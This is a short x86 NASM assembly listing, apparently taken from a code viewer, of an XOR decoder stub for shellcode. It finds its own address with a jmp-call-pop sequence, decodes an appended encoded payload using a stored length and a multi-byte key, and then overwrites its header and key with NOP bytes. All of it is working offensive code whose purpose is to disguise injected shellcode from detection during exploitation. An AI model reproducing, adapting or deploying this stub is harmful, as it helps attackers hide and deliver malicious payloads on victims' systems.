1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
BITS 32
; plain x86 | trailer
; -----------------------------------------------------------------------------------------------------------
; | decoder | 2 byte shellcode len | 1 byte xor key len | xor key (xor key len) | shellcode (shellcode len) |
; ----------------[XOR ENCODED]---------------------------------------------------------[XOR ENCODED]--------
; | Reg: cx | Reg: dl | [esi]+3+dh | [esi]+3+dl+(cx-i)
jmp short get_eip
got_eip:
pop esi ; get stackpointer := start+sizeof(decoder)
xor ecx,ecx
mov word cx,[esi] ; shellcode len (encoded)
xor word cx,0x0101 ; decode shellcode len
mov edi,ecx ; save it in edi
; dh := xor pad
; dl := xor key len
xor edx,edx
mov byte dl,[esi+2]
decryptloop:
; calculate key pos
mov eax,esi ; move trailer ptr to eax
add eax,edi ; add shellcode len to esi [ptr]
add eax,0x3 ; 0x3 := shellcode len + xor key len
xor ebx,ebx
movzx ebx,dl ; ebx := xor key len
add eax,ebx ; eax := eax + xor key len
sub eax,ecx ; eax := eax - i
push eax
; calculate shellcode pos
mov eax,esi ; same as above
add eax,0x3 ; same as above
xor ebx,ebx
movzx ebx,dh ; ebx := xor key offset
add eax,ebx ; eax := eax + xor key offset
push eax
; do the real stuff ;)
pop eax ; ptr to next xor'ing byte in eax
mov bl, [eax] ; b-low is our xor'ing byte (key-pad)
pop eax
mov bh, [eax] ; b-high is an encrypted shellcode byte
xor byte bh,bl ; b-low XOR b-high
mov [eax],bh ; copy our decrypted byte back into memory
; re-calculate xor pad
inc dh ; xor key offset++
;inc dh ; again (for comparing dh with dl)
cmp dh,dl
jne nexti
xor dh,dh
; prepare next iteration
nexti:
;dec dh
dec ecx
jnz decryptloop
; cleanup header + xorkey (overwrite with NOPsled)
mov byte [esi],0x90
mov byte [esi+1],0x90
mov cl,[esi+2]
mov byte [esi+2],0x90
nop_xorkey:
mov byte [esi+2+ecx],0x90
loop nop_xorkey
jmp short done
get_eip:
call got_eip
done:
|